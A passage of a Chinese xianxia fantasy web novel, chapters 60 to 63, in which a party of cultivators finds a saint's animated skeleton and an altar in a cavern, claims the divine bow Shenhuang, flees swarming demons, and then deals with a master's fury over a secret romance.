清溪门长老怒气冲冲,脸上还挂着泪痕,将一把折断的剑拍在石桌上,“连周衡是我门派百年来最有天赋的弟子,勤奋刻苦,品行正直!二十岁结器,勤勤恳恳修炼十几年,为了这一届九天盛会她受了多少的苦,可你们呢?你们做了什么!!我的徒弟怎么就没了?!怎么就没了!!!” “既然知道长眠海危险,为何不做好万全的准备?现在里面的都是各门派精英弟子,如果他们不能安全回来,你们太虚殿想怎么跟他们的师门交代?!” 质问声此起彼伏,原本肃穆庄严的日升天阁此刻被愤怒的浪声裹挟,空气都变得紧绷起来。 人群中,一道身影缓缓走出,及地的黑袍下,露出一双苍白修长的手,透着一股说不出的森然,他轻敲石桌,喧闹声瞬间静了许多。 “诸位,稍安勿躁。”他的声音隔着布料,沉闷却又带着一股穿透力。 “稍安?我亲侄子还在里面,如果他有个三长两短,我怎么向已逝的兄长交代!” 天工阁向来与太虚殿交好,但李华常在得知里面的情况凶险到超出自己的意料,也匆忙赶来,却得知李迎灯仍在里面,已经失去了联系。 面对李华常的质问,太轩置若罔闻,只缓缓道:“太虚殿弟子已经提前侦查过长眠海情况,也找到了神皇弓所在的位置,之所以没有将神皇弓带回来,也是想让参赛的修士亲自带回。” “此次变故,实属意料之外,我们已经派出专人前去搜救,在遵循他们自身意愿的前提下,尽量将试炼中的弟子安全带回来。” 他这话听得众人心头发紧——既然提前侦查过,为何会没有发现其中的危险,没发现那些妖群? 宋良白握紧拳头,正欲发难,却被一旁的凌云拦住,其他人也都被太轩语气中的笃定所唬住,眼睁睁看着他的身影没入阴影中,只留下满场的焦灼与猜疑。 “宋兄,许久不见。”凌云道。 宋良白眉头紧蹙,看到不远处神色悲痛的清溪门长老,于心不忍地撇开脸,“连周衡真的死了?” “……是,我亲眼看到了她的尸体。” 宋良白:“我记得那丫头,一股子绝劲儿,上一届和你儿子那一场打的很精彩。她……死了。” 宋良白脸上带着几分同情,但更多的是不解,“我徒弟前段时间刚去了长眠海附近巡逻,天音林海那一片应当是安全的才对,怎么会出现束神石像?” “要么,它们一直在隐藏,要么,长眠海深处有什么更可怕的东西,将它们逼了出来。”凌云抬眸望向天空,神色惆怅,这两天他日夜忧心,疲惫不堪,“太轩的话,你信吗?” 宋良白摇摇头,“不全信。说他没有私心,是不可能的。多少年了,他还是喜欢躲在黑袍之下,说这些冠冕堂皇的话。” 凌云苦笑一下,“真怀念徐道长还在的时候,除了他,还有谁敢硬刚太轩呢?哦不对,还有陈兄,不过那家伙现在也收敛许多,没了当年的锐气。” 宋良白顿了顿,道:“他现在改名叫问玉了,不再是以前的陈问。” 凌云:“我初见他时他还叫陈问,叫顺口了,改不过来。” 宋良白沉默片刻,转移话题,“问玉也参加了境外试炼?” “是,有他在,我安心许多,他所在的队伍,和你那个小徒弟所在的队伍,都没有人员伤亡,进了天音林海深处。”凌云道。 宋良白点点头,“我会尝试联系他们的,我此番过来,就是为了把他们安全地带回去。” * “咳咳咳——” 滴落的水珠砸在商怀笙脸颊上,黏腻冰凉,她张嘴咳嗽,水滴溅进来,又苦又涩。她抹了把脸,摸到断龙,缓慢地坐起来。 “醒了?” 问玉的声音响起,他手掌符咒燃起火光,照亮了周围嶙峋的怪石。 “这是哪儿?”商怀笙还在适应着这里的黑暗,这些怪石的影子张牙舞爪,扭曲如鬼影,仿佛下一秒就会扑过来撕咬。 问玉将她扶起,手中的火光缓缓升起,分散成一个个的小火苗,飞向别处,照着散落在四周的人,咳嗽声此起彼伏,水滴不断落下,发出“嗒、嗒”的声响。 “或许……是无间鬼域。”问玉说着,无声地清点人数,“少两个人。” 宋惜光团队里的一人不见了,商怀笙环顾四周,忽然变得急切起来,“师兄?师兄!我师兄呢?!” 第60章 第六十章 祭坛 “师兄!!” 商怀笙扬声大喊, 声音撞在溶洞的石壁上,反弹回一片沉沉的死寂。 她心头一紧,目光扫过每一处角落, “师兄?!师兄!!!” 师兄去哪儿了?他不会出事了吧? 商怀笙内心被巨大的恐慌掩盖, 她无法想象元妄出事的样子,元妄从小抚养她,是她的亲人。 问玉侧目, 看到她发白的脸色,按住她颤抖的手,“冷静些,我再找找。” 半空中的火苗又飞出去两簇,在溶洞中穿行,商怀笙的目光跟随着它们, 忽然触到一块惨白的枯骨, 有人惊呼一声, 火苗也停下来,跳跃着变大, 照亮了那一片石壁, 以及半嵌在里面的尸骨。 那尸骨保持着跪坐的姿势,双手交叠放在胸前,头颅微微低垂,似乎在虔诚地祈祷, 脖颈处挂着一串不知道什么珠子做成的项链, 在火光的照射下映射着璀璨的光芒。 众人皆陷入沉默中, 直到妙星惊愕的声音响起,“彩、彩云琉璃珠,是上一任圣女, 宗溪。” 宗溪,是那位以身祭器,封印妖兽的潮海阁圣女。 商怀笙想起了她,但她却无暇顾及这位万人尊崇的圣女,迟迟不见元妄回应,她的心情愈发焦急。 “师兄……” 商怀笙的声音里多了一丝自己都没有察觉的哭腔,她指尖聚起一道灵力,试探着弹向周围的岩壁,却在触及的瞬间被一股阴冷的力量弹回。 灵力消散,带起一股刺骨的寒意,问玉的火苗越过宗溪,照亮一处洞口,黑黢黢的,一眼望不到尽头,“这里有路,里面有活物的气息。” “师兄!” 商怀笙不等他反应便朝着黑暗深处冲去,身侧火苗紧跟着她,在黑夜中划出一道颤抖的光。 问玉轻叹一声,快步跟上她,“走吧,这里没有别的出口。” 宋惜光丰宝等人迅速跟上,李迎灯几人没有立即行动,面面相觑,借着微弱的火光进行眼神交流,拿出罗盘确认方向后,他们才迈步跟上。 妙星走在最后,来到宗溪的尸骨跟前,白骨泛着幽森的光,内心的恐惧被敬畏压下,妙星虔诚地跪拜,“圣女大人,弟子无能,若有机会出去,定然会通知潮海阁弟子,将您带回去安葬。” 说罢,他带着火苗,快步跟上队伍。 却不知在他走后,那具枯骨缓缓地挪动头颅,空洞的眼眶追随着他们的方向,脖颈上的珠串也散发出微光,随着她的动作,摩擦出清脆的声响。 * 这条通道似乎没有尽头,商怀笙一路小跑,问玉抓到她时,她已然有些失控,双目空洞,盈满泪水,带着近乎偏执的倔强。 “放开我!” 她轻易便甩开了问玉,问玉不顾腕上的头疼,又一次抓住了她,指尖溢出白光,包裹商怀笙的手指。 “商怀笙,你冷静点!” “可是那是我师兄,我师兄不见了——!” “他或许只是落在了不同的地方,这里很不对劲,你万一惊动了什么怪物怎么办?!” “……” 不知道是那白光还是问玉的话起了作用,商怀笙安静下来,咬着牙,无助地看着他,压着声音,“那怎么办?” 问玉轻叹一声,紧握住她的手,“慢慢走,这里的灵气充裕,但却无法流动,也没办法被吸收,就像是被什么东西锁住了一样,我怀疑这里有什么阵法。” 商怀笙想起刚才见到的尸骨,“这里难道不是宗溪封印妖兽的地方吗?有阵法不奇怪吧?” 刚才只顾着商怀笙,问玉根本没有细想,现在才觉出不对劲来,“她是以身祭器封印妖兽的,她的翡玉琵琶本是上等灵器,经她祭器后,短暂获得了神器的力量,但因为器主身死,翡玉琵琶最后也爆体碎裂了,且祭器者身魂同祭,按理来说应该不会有那么完整的尸骨。” 商怀笙擦擦眼泪,顺着他的话思考,“你的意思是,祭器就会形神俱灭吗?” “祭器后会融入器灵,成为器灵的一部分,再不入轮回,所以有邪修专门培育用来献祭的器引。” 问玉说着,其他人也已经跟了上来,问玉目光锁定人群后排的李迎灯,“李迎灯,你知道器引吗?” 李迎灯眼神微微闪躲,“当然知道啊,那可是邪术,天工阁严令禁止的。你问这个做什么?” 问玉:“祭器之人,在什么样的情况下能保留完整的骸骨?” “这个,除非是抽出生魂来祭器,但一般来说,都用生魂祭器了,身体自然也不会放过……”李迎灯说着,也反应过来。 一股阴风窜过来,掠过每个人的身体,带来毛骨悚然的感觉,他们纷纷想起了入口处那具骸骨,不由得头皮发麻。 那真的是圣女宗溪的骸骨吗? 如果是,那她当初是怎么以身祭器的? 如果不是,那会是谁的呢? 妙星颤抖的声音传过来,“彩云琉璃珠是只有圣女能够佩戴的,在其他人手中会变得黯淡无光,我师父也有一串,我听她说过,宗溪圣女的比她多两颗蓝色的深海鱼母石。我不会认错的。” 他的语气十分笃定,就在他认真回想之时,耳畔忽然传来一丝清脆的声响,一抹蓝光闪过,他下意识地闭了下眼睛,便觉得有什么东西搭在了他的肩膀上。 待他睁开眼,便见到一只白森森的骨手,再往上,空洞的眼窝,直勾勾地盯着他,骨骼交错下是对面黝黑的墙壁,投下的黑影交织成一张诡异的笑脸。 “啊啊啊啊啊啊——!!!!!” 妙星发出尖锐的鸣叫,乔意晚眼疾手快,猛地将他拽到身后。 “嗬……” 一个极轻的女声在岩壁上回荡,宗溪的骸骨忽的发出刺耳的骨裂声,眼窝中燃起两团幽绿色鬼火,脖颈上的珠串随着她的动作疯狂震颤,溶洞中无法流动的灵气也随之聚起。 她竟然能吸收这里的灵气! 问玉意识到事情的严重性,不管这具骸骨是谁,也不管她是不是想对他们出手,这样逼仄的空间中,一旦她聚起的灵气失控,他们便都要葬身于此。 “快走!” 他拉着商怀笙,加快脚步,顺着通道往前跑去,众人也紧紧跟随。 那具骸骨在原地呆愣片刻,踏着岩石,缓步跟上去。 不知道跑了多久,穿过幽暗的通道,前方突然想起熟悉的声音,“怀笙?是你们吗?” 商怀笙浑身一震,松开问玉加速向前跑去,“师兄!!” 眼前的景象突然开阔起来,元妄倚着岩壁,右臂缠着渗血的布条,脚下躺着一个人,正是宋惜光队伍里那个。 商怀笙无暇顾及地上那个人的死活,冲到元妄的面前,眼泪涌了上来,“师兄,你怎么回事儿!怎么受伤了?严重吗?!!” 问玉弯腰去检查那人的情况,没死,只是昏迷了。 他将人扶起,对上元妄的目光,他拍着商怀笙肩膀,面对着问玉,露出一丝堪称挑衅的笑容,低声安慰道:“只是落下来的时候撞了一下,没事。” 问玉无语地撇开目光,将昏倒的人交给了赶来的宋惜光,商怀笙也焦急地将南宫汀叫过来,请她查看元妄的伤势。 “我的伤不要紧。”元妄拍拍她的肩膀,指向她身后,“你们看。” 商怀笙转过身,顺着他指的方向,倒吸一口凉气——眼前是一处开阔的石室,中央矗立着一座半米高的石台,石台边缘刻满了咒文,中央有三个凹槽,皆是空的,石台表面满是已经干涸的灰褐色血迹。 “这是什么?祭坛?”何穆竹走上前去,何朝兰伸出胳膊拦了他一下,何穆竹拍拍他,小声说,“没事。” 他隔着半步远,观察石台上的咒文,明明是他学习过的古文字,但是他却无法读懂是什么意思。 “是一种妖族文字,玉眼狐族,传闻能够预知未来,但这个种族已经灭绝了。”何穆竹翻出纸笔,眼中满是看到新咒文的激动,“我抄录回去,和师父一起破译,说不定会有新的发现。” 乔意晚无奈又急切,“这都什么时候了大哥,非得在这时候搞学术吗?” 妙星被刚才那一遭吓得不轻,半死不活地趴在乔意晚背上,口中念念有词,“圣女大人来了,她怪我,她要带我走。” 他念叨一路,乔意晚烦得不行,“行行行你走吧!这么重!你赶快跟她走吧!” “我不走……”妙星双手紧紧抱住乔意晚,“我不走……” 话音刚落,远处传来骸骨踏碎岩石的声响,那幽绿的鬼火穿透通道,照亮了祭坛的周围,接着这个光亮,何穆竹加快了抄录的速度。 声响越来越近,何朝兰握紧长剑挡在最前,众人都凝神戒备,眼见她出现在洞口处,眼窝扫过众人,她手中握着灵气聚起的骨刃,刀刃凌厉,闪烁着光芒。 可预想中的攻击并未落下,她缓缓地走向祭坛,甚至没有理睬一旁的何穆竹,枯骨组成的手指缓缓抬起,抚摸着石台边缘的咒文,鬼火在眼窝中摇曳着,竟透出一股难以言喻的平静。 她迈开脚步,一步步走上祭坛,直到行至中央,她缓缓躺下,轻的像羽毛落地。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 第六十一章 神皇弓 众人被这一幕震惊得说不出话来, 何穆竹也停下了手中的笔,徘徊在祭坛四周,不敢上前。 良久, 有人发出一声疑问:“这, 这是什么情况?” 但是没人能回答他,连问玉都没有见过这样的场景,白骨安静地躺在布满血迹的祭坛之上, 平静,祥和,诡异。 她眼中的鬼火跳动得越发缓慢,直至停止,与她手中的骨刃一起,化作点点莹蓝色星光, 消散于空中。 这具如雪般纯白的枯骨, 在鬼火消失的瞬间, 长出黑色的斑点,慢慢覆盖全身, 颜色渐与黑夜融为一体, 刹那的功夫,便如尘土般消散,祭坛上只留下一串光彩夺目的珠串。 “圣女大人?” 妙星摇摇晃晃地从乔意晚背上下来,此时也顾不上什么害怕了, 跪在祭坛外就开始念念有词, 商怀笙听出那似乎是悼念超度的咒语。 刚才还吓成那样, 现在倒开始给人家超度了。 妙星做完这一切,从储物石中掏出一块干净的帕子,将祭坛上的珠串包了起来, 就在他触碰到的瞬间,原本闪着光芒的珠串霎时变得黯淡,妙星的动作一顿,小声道:“真的是圣女大人。” 不能带回圣女尸骸,将她的彩云琉璃珠带回去立个衣冠冢也好。 问玉与商怀笙对视一眼,竟然真的是宗溪?那她为何祭器却还有尸骨,又为何突然消散了呢? 眼前发生的事情太诡异太难以捉摸,他们也无法得知当年事情的具体经过,不等商怀笙细想,她手上的罗盘忽然轻微地震动了一下,进入无间鬼域后便一直乱晃的指针,此刻竟稳稳地指向了祭坛后面的一块石壁。 “我的罗盘,动了!”丰宝惊呼一声,举起自己的罗盘,正与商怀笙的指向同一个方向。 宋惜光也同样如此,他顿了顿,走上前,伸手敲了敲那块石壁,是空心的。 他与商怀笙对视一眼,眼中漾开一丝释怀的笑容,能走到现在他已经没什么遗憾了,束神石像,圣女遗骸,还有这莫名其妙的祭坛……他不敢再赌这石壁后的东西。 宋惜光后撤几步,商怀笙上前,一拳击碎了那块石壁,后方藏着一个幽深的暗格,暗格中静静躺着一把通体晶莹的小巧弯弓,镶嵌着细碎的晶石,随着他们的靠近,发出柔和的光芒。 商怀笙伸出手,还未触碰到箭身,一道寒光突然从她斜后方飞射而来,直逼她取箭的手腕! “小心!” 商怀笙反应极快,闪身躲开,暗器“叮”地被暗格弹开,落在地上。她转过身,对上李迎灯阴笑的眼眸。 “商怀笙,谁说这神皇弓是你的了?”他右手持剑,左手手腕上帮着弓弩,身后的何朝兰也已摆出战斗的姿态,“公平竞争。” 丰宝怒喝一声:“你们真不要脸!如果不是怀笙,你们早就变成石像死在海边了!现在竟然又来抢神皇弓!” 李迎灯嗤笑一声,满是不屑,“你们来参加境外试炼,九死一生,就是为了把神器拱手他人吗?凌云,还不快上?” 一直沉默的凌盛站在二人身后,他握着剑,露出犹豫的神色,“咱们这样……是不是有点……” “不是有点,是非常不要脸。”商怀笙接了他的话,看着李迎灯与何朝兰,目光扫过队伍里的其他人,“不过既然都走到这里了,大家肯定也不愿意就这样空手回去,既然弟子论道没能举行决赛,那边在这里试一试吧。” 说着,她亮出手中断龙,束神石像之后,它剑身的暗纹似乎亮了些,随着商怀笙的动作,断龙剑身微颤,跃跃欲试。 “好,那来吧!” 李迎灯斗志昂扬,长剑一甩,脚尖轻点飞身而来,他转身示意何朝兰与他一同出手,视线交汇时,何朝兰却微微闪躲,更是直接收回了手中之剑。 你怎么……? 李迎灯一个分心,长剑还没触碰到商怀笙,一个巴掌扇过来,直接将他扇飞到岩壁之上,发出沉闷的巨响。 “何朝兰你——!” 李迎灯两眼昏黑,感觉自己像是被千斤巨石砸了脑袋,凭着感觉找到何朝兰的位置,发出不解地质问。 “承蒙商姑娘关照我们才得以保全性命,这样做实在不应该。” “你什么时候变成这样光明磊落之人了!我竟然不知!!” 李迎灯撑着剑站起来,商怀笙那一巴掌威力十足,他感觉鼻腔温热似有什么涌出,一摸果然是血。 在其他人眼里,他整个身子都摇摇晃晃,脸上一个血红的巴掌印触目惊心,如同无头苍蝇一般找不准方向,都已经这样了,却还在愤愤地指责何朝兰。 何朝兰扭过头去,不理睬他。 见无人再想上前,商怀笙收了断龙,伸手去拿神皇弓,弓身似是玉制,触手生温,抚摸弓弦时却有一瞬刺痛,像被什么扎了一下。 商怀笙抬手看了眼,并没有伤口,便也没有放在心上,将东西包起来背在前胸,“东西拿到了,咱们走吧。” 何穆竹还在记录祭坛上的咒文,商怀笙虽也惊讶于刚才发生的事情,但这事儿说到底跟她也没什么关系,回去报告给师父,再让大师兄去宗溪的衣冠冢前祭拜一下就是了。 她作势要从来时的通道离开,刚迈出半步,便觉得脚下的大地似乎震颤了一下,紧接着石室内的烛火明明灭灭,石壁上烛影晃动,烛芯爆发出最后一点火星,便齐齐熄灭,连同问玉用符咒变化出来的火苗也暗了下去,浓重的黑暗瞬间吞噬了整个空间。 商怀笙觉得肩上一沉,身上的神器竟然在微微震颤,在黑暗中散发出微弱的光辉,似乎在呼应着什么。 “快走!” 问玉低呼一声,话音未落,周围已经响起了密密麻麻地“簌簌”的声音,像是有无数翅膀在黑夜中扇动。 下一秒,数道冰冷的红光刺破黑暗,成百上千只形似蝙蝠的小妖,双眼泛着红光,从商怀笙刚刚打破的岩壁缝隙中涌出来,尖牙在微光中闪着寒芒,目标精准地锁定了商怀笙。 “它们是冲着神皇弓来的!” 商怀笙头皮发麻,这些小妖数量太多了,挥舞着利爪,带着难闻的血腥气,商怀笙挥剑挡开一直冲她袭来的小妖,“你们先走,我断后!” 商怀笙说着,众人已经在宋惜光的组织下离开,元妄不肯走,还在担心着她的安慰,但他手上伤口散发出的血腥味也吸引了一部分小妖,问玉拽住他的衣领,见他扔给了江广益。 “快走,别在这里添乱了。”说着,他手心冒出一团泛着蓝光的火焰,火光照亮岩壁,那些小妖正从四面八方压过来,像一张密不透风的网。 火焰的高温使得它们不敢轻易靠近,借着这一瞬的机会,问玉抓住商怀笙从通道逃离,身后小妖的嘶吼与翅膀扇动的声响紧随,商怀笙紧紧握着包裹神皇弓的包袱,问道:“它们是镇守神器的小妖吗?” “或许只是在此处栖息而已。”因为急速奔跑,问玉的呼吸有几分紊乱。 商怀笙又问:“你当年将断龙带回来的时候,也遇到过这种情况吗?” 问玉微顿,握紧她的手加快速度,回答道:“没有,我找到断龙的时候,它周围十公里没有任何活物。” 商怀笙觉得手里的断龙震了震,似乎不赞同问玉的话,没等她继续追问,前方冒出凌云的脑袋,“你们聊什么呢!还不快跑!!前面没有路了,只能试着飞上去,快跟上!” “抓紧我!” 前方的道路空旷起来,问玉手中变化出一把木剑,注入灵力,轻盈地踏上去,跟着凌云一起御剑腾空。 商怀笙这才想起,他们掉落的地方是一处溶洞,顶上没有光亮,四周也只有这一条道路,现在进退两难,他们这样贸然往上飞,真的能找到路吗? 实在不行的话,就劈出一条路来。 他们在黑暗中不停地向上,商怀笙将断龙化作匕首大小,手起刀落,将追上来的小妖劈成两半,那一双双红色的眼睛聚集在他们脚下,密密麻麻,如深渊中窥视的妖魔,等着他们走投无路,落入它们腹中。 “没路了!”宋惜光喊了一声,语气中带着几分绝望。 商怀笙的手都快挥成螺旋桨了,正想说让她来试试,还没开口,便听见头顶“轰——”的一声,有什么东西炸开,碎石如暴雨般簌簌落下,问玉转身抱住了她的脑袋,洞外的月光穿透云层,将山壁照得一片惨白。 “是太虚殿的人!得救了!” 数道身影降下,火光剑光交错,向着底下的小妖袭去,商怀笙从问玉胳膊的缝隙中向上望去,似乎看到了宋良白的身影。 师父? 得救了? 商怀笙低下头,她小臂被尖爪划破,伤口正泛着诡异的乌紫色,她感到有些头晕,伸手想要抓住问玉的手腕,却落了空。 月光下,问玉的身形似乎变得浅淡许多,商怀笙甚至穿过他的身体,看到了他身后的石壁。 怎么回事儿? 她心中疑惑,胃里有些恶心,问玉察觉出她的不对劲,焦急地叫了一声她的名字,将她牢牢抓住。 第62章 第六十二章 她没有错。 “妖爪上有毒, 不过并没什么大碍,只是会恶心头晕而已,她身体素质强, 休息几天就没事了。” “这次的确凶险, 听闻其他小队损失惨重……算了,不说这个了,你怎么样?师父有没有让你做什么事情?” “……没有。” “那就好, 你不要相信他的话,知道吗?” “……嗯。” “……” 商怀笙从睡梦中醒来,入眼便是南宫汀的身影,她虽是医修,长相却十分英气,不怒自威, 神情严肃的时候更是让人觉得畏惧——她现在的表情有点像是秦湫训她时候的表情。 商怀笙和南宫汀对上视线, 心里一个激灵, 赶紧又把眼睛闭上了。 南宫汀:“……” 南宫汀:“你醒了?怎么又把眼睛闭上了?” 商怀笙睁开眼,露出尴尬的笑容, 她总不能直接说看到南宫汀就想到了秦湫, 心虚吧? “你们怎么在这里?”商怀笙问。 陆雪青也坐在她床头,本来背对着她,见她醒来,也转过身来, 嘴角扬起, “你醒啦。你睡了一晚上。” “我们是医修, 当然要来看看患者的情况。”南宫汀说。 商怀笙问:“其他人呢,我师兄怎么样了?” “他没事,只是皮外伤, 你也没事。”南宫汀顿了顿,说,“秦月琅上来的时候受了点伤,他的右腿怕是保不住了。” 秦月琅便是那个和元妄一起消失,被发现时已经昏迷的人,他一直没醒,在那样紧急的情况下,虽然有宋惜光拖着他,但难免会有疏漏。 南宫汀轻叹一声,“不过能保住性命就已经很好了,此次参加比赛的七十二人,只有三十七人活着回来。” “三十七人?!”商怀笙惊得坐了起来,“折损几乎过半?!” 南宫汀点点头,神色凝重,“此次境外试炼出现这种情况,是太虚殿的决策失误。你这次拿了神皇弓,本该是众星捧月,但眼下各宗门正为了自家弟子的事情闹得不可开交,你最好还是低调些,不要让自己成为众矢之的。” “我知道了。”商怀笙道。 她醒来没多久,南宫汀便离开了,只留下她和陆雪青。 面对陆雪青,商怀笙又开始感到不自在,想起问玉在天音林海的表白,她问陆雪青,“你为什么喜欢我啊?就因为我小时候救了你吗?” “怎么突然问起这个?”陆雪青仍旧笑着,只是笑容中多了几分商怀笙并未察觉的勉强。 他想起商怀笙他们回来时候的景象,商怀笙被问玉紧紧抱在怀中,他第一次见问玉那样焦急的神色,不顾众人的目光,像是抱着自己最珍爱的宝藏。 若说以前只是怀疑,那时起他便确认了问玉的心意。 他不知道商怀笙是怎么想的,但能让一个在感情上迟钝的家伙产生混乱的,必然是一份不同寻常的心意。 商怀笙眼神躲闪,“我就是好奇,男女之间产生情感,总需要个什么原因吧?” “我喜欢你,因为你强大,温柔,在我失去一切的那些年里,你是我唯一坚持下去的动力。我所走的每一步路,都是为了能和你再次相见。” 陆雪青说着,商怀笙眼里的疑惑并没有消解,陆雪青问她,“你喜欢我吗?” “……喜欢吧。” “你喜欢我什么?” “你很漂亮,而且你一直在帮我妹妹,你人也很好。” “那我现在亲你,你会躲开吗?” 说着,陆雪青俯身,还未靠近商怀笙,她便猛地弹开,躲到了床角,陆雪青僵在原地,商怀笙后知后觉地感到内疚,摆手道:“你、你这样太突然了。” “好伤心啊。”陆雪青起身,整理衣袖,又恢复那副端庄的模样,“你这样算是拒绝了我吗?” “……抱歉。” “没关系,能再见到你,我已经很开心了。” 陆雪青心中泛起阵阵苦涩,但他已经习惯了维持这份不会被回应的单恋,能够再见到商怀笙的喜悦远大于被拒绝后的伤心。 见商怀笙还是那副愧疚的神色,陆雪青笑着说:“真的。别忘了,有空咱们一起去看看小叙。” 商怀笙嗯了一声,“九天盛会结束后就去吧?” 陆雪青笑容僵了一下,道:“九天盛会结束后,谷主要带我去拜访一位德高望重的医修,怕是要再等一段时间。” “好啊,那你有空了就联系我吧。” “好。” * 陆雪青走后,商怀笙屋里便没再进人,她在床上躺了半晌,想去看看元妄的伤,刚收拾好准备出门,开门就看到宋良白站在门口,横眉怒目,看她的眼神恨不得把她吃了。 “师父?” “跪下!” 商怀笙不明所以,但她第一次见师父发这么大的脾气,下意识地便要双膝跪地,却被一双手捞了起来。 商怀笙歪头去看,对上问玉的视线,脑子顿时转过弯来,明白是问玉在宋良白面前告了她的状。 “师父,我知错了——” 她腿一软便要跪下,问玉死死抓着她,不让她跪。 “不许跪。”问玉将她藏在身后,“她并无错,为何要跪?” 宋良白一张脸由红转绿,由绿转青,最后几乎变成了猪肝色,他锁了门,怒气冲天,“罔顾伦理,强迫师叔,始乱终弃还不知悔改!她当然有错!!” 每个词都像一道雷砸在商怀笙头上,她想扯开问玉的手,弱弱地说:“师叔,我有错,你让我跪吧。” “是我自愿的。”问玉架住她,态度强硬,“我告诉你这些,不是让你来兴师问罪的。” 宋良白怒不可遏,眼中更是带着深沉地不解,“你忘了你当时说自己道身破了时有多绝望愤怒了吗?!” “那时我并不知道是她,也忘记了事情的原委。”问玉抿了下唇,道,“师兄,我向你坦白,只是想要你同意我们俩的婚事。” 商怀笙垂死病中惊坐起:啊?!什么事?婚什么? 她还没有反应过来,宋良白的怒吼几乎要刺穿耳膜,“不可能,我绝对不会同意的!!你休想娶我徒弟!!我宋良白的徒弟绝对不会嫁到你们三山宗去!!” 商怀笙伸出手:“等一下,我还没……” 问玉把她的手按下去,“如果不行,我可以嫁到你们四水阁去。” 宋良白:“我说绝对不——嗯?” 商怀笙:“不是……” 有没有人能告诉她,发生了什么…… * “问玉,你这样实在是太胡来了。” 一阵鸡飞狗跳后,宋良白终于安静下来,给自己倒了杯茶润嗓,“你兄长不会同意的。” 问玉道:“这是我自己的事情。” 宋良白眼中多了几分新奇,“你竟也会有忤逆你兄长的时候?” 问玉敛眸,眼中多了几分商怀笙看不懂的情绪,“他虽是我兄长,但也不会事事都由他做主。” “等一下——”商怀笙伸出胳膊,挡在二人中间,“你们问过我没有?谁说要和你成亲了?” 问玉挑眉,“你的意思是,你睡了我这件事就这么了了?” “噗——”宋良白喷出一口热茶,“你你你,你说的什么话,怀笙她毕竟年纪还小,说话注意分寸。” “就是就是。”商怀笙站到宋良白身后,“我也不是故意这样对你的,我是被下了蛊毒,你又不是不知。” 问玉自然知晓,他端起茶杯,掩盖自己动摇的情绪,他刻意地不去提这件事,便是想要忽略这一事实。 “蛊毒?”宋良白歪头看向她,眼中写着疑惑,“什么毒?” “毒情咒。”问玉道。 “嘶——”宋良白放下茶盏,神色变得严肃起来,指了指大门,“怀笙,你先出去。” 商怀笙:“可我是——” 话还没说完,她已经被宋良白用法术推了出去,房门紧锁,还设下了隔音结界。 “病人……” 商怀笙心底一阵无语,这两个老家伙真是莫名其妙,闯进她房间吵闹不说,还把她给推出来了。 毒情咒怎么了,需要这么神神秘秘的? 商怀笙趴在门上听了半天,什么也没听到,便调转方向,找元妄去了。 * “毒情咒?这么重要的事情,你为何不告诉我?” 宋良白一改刚才的平静,语气中满是质问,“是谁,是商怀笙,还是你?” “是她。”问玉语调平淡,眉头微蹙着,似有化不开的愁绪,“我捡到她时,她受了伤,还中了毒情咒。” “这种蛊毒已经被列为禁忌,是谁这么大的胆子,敢在三山宗用这种东西?” “……” 问玉沉默,抬眸,视线交汇时,两人已经脑海中已经有了相同的答案。 宋良白道:“是年玉,他与云谷秘境的宗主交好,除了秘境,别的地方很难找到这种蛊毒。就算不是年玉所为,也一定和他有关系。” 问玉眸光暗了暗,“兄长,为何要这样做?” 宋良白:“……” 他站起身,拍拍问玉的肩膀,带着安慰的力度,“他是你兄长,这一点是不会变的。” 问玉扶额,眼底划过困惑的神色,“我本来打算离开囚龙谷后便向他询问此事,奈何商怀笙的忘忧咒太有效,我完全忘记了。” 宋良白握拳,“我还是得好好教训一下这逆徒。” 问玉摇头,“她没有错。” 宋良白:“……” 第63章 第六十三章 我对师叔的真心,日月可鉴…… 商怀笙来到元妄房中, 又遇见了南宫汀,巧的是丰宝也在,几人不知道在聊什么, 气氛有些凝重。 “怀笙来了?”元妄笑着来迎她, 看上去气色不错,没有被伤痛影响,“感觉如何?我本想去瞧瞧你, 但师父让我静养。” “我没事了。”商怀笙道,“我倒是更担心师兄你,究竟发生了什么?” 元妄回忆道:“咱们一起被卷入无间鬼域后,我醒来时便在那处石室了,本以为你们都在此处,却不想只见到了秦月琅。” 元妄皱起眉, 一想起当时的情况, 他便起了鸡皮疙瘩, “他醒来时他已经醒了,他的模样特别奇怪, 愣愣地盯着祭坛的方向, 好像手脚都被什么固定住了一样,向后翻折。” 他把胳膊向后,在背后向上弯曲,模拟当时的情况, “我叫了他一声, 他没理我, 直直地朝着祭坛走去,我感觉那祭坛有蹊跷,想拉住他, 没想到他突然翻身暴起,打伤了我。” 商怀笙:“什么?!是他把你打伤的?!” “稍安勿躁。”元妄按下她攥起的拳头,“他才是结器期,哪里能打得过我,我很快便将他打晕了,手臂上的伤是因为防备不及。” “那也是他伤的。”商怀笙语气幽怨,“早知道就不救他了。” 元妄捂住商怀笙的嘴,向南宫汀解释道:“她只是说说而已。” 南宫汀耸耸肩,眉目间带着笑意,“你们师兄妹关系真好。” 元妄道:“她自幼养在我和秦湫身边,自然感情深厚。” “说起来我也有段时日没见秦湫了,她近来如何?”南宫汀问道。 元妄道:“修行,历练,帮着凡间百姓捉妖驱魔,还是老样子。” 南宫汀:“她的病还会发作吗?” 元妄顿了顿,“已经许久没有发作了。” “那便好。” 两人只是寻常的寒暄,却在商怀笙心里留下一个疑问:师姐得了什么病?为何她从来不知晓? 待南宫汀走后,商怀笙问出自己的疑惑,元妄解释道:“只是修行前的一些小病罢了,你也知道你师姐体质弱,还是凡人的时候经常生病,南宫汀帮她调理过身体,修行之后体质已经大大增强了。” 南宫汀是天泉医谷的关门弟子,医术超群,需要她来调理的病,会是小病吗? 不过那是许多年前的事情,或许当时南宫汀的医术也并没有那么厉害。 元妄的神色看不出来异常,商怀笙也没再追问,只是心底还是留下了个疑影。 在元妄这里坐了半天,商怀笙估摸着问玉两个人应该聊得差不多了,便起身回房,她的房门半掩着,依稀能看见里面有个人影。 “师父?”商怀笙探进了半个身子,双腿留在外面,随时准备跑路,却只看到了问玉。 “他走了。”问玉坐在桌前,气定神闲,指尖还搭在茶盏上,看上去等了许久,“进来?” 商怀笙进门,关门,一气呵成,之后才反应过来自己为什么要听他的话? 问玉抬眸看了眼贴在门上的商怀笙,道:“成婚的事情,你不必放在心上。” 商怀笙:“什么?” 刚才闹成那样,现在又叫她不必放在心上? 惊讶之后,一股无名火窜上商怀笙大脑,她不过出门这片刻,问玉的脑子就被宋良白给打傻了? “是我心急了。你师父撞见我将你带回来,多问了几句,我便向他坦白此事,原本打算回去再说的。” 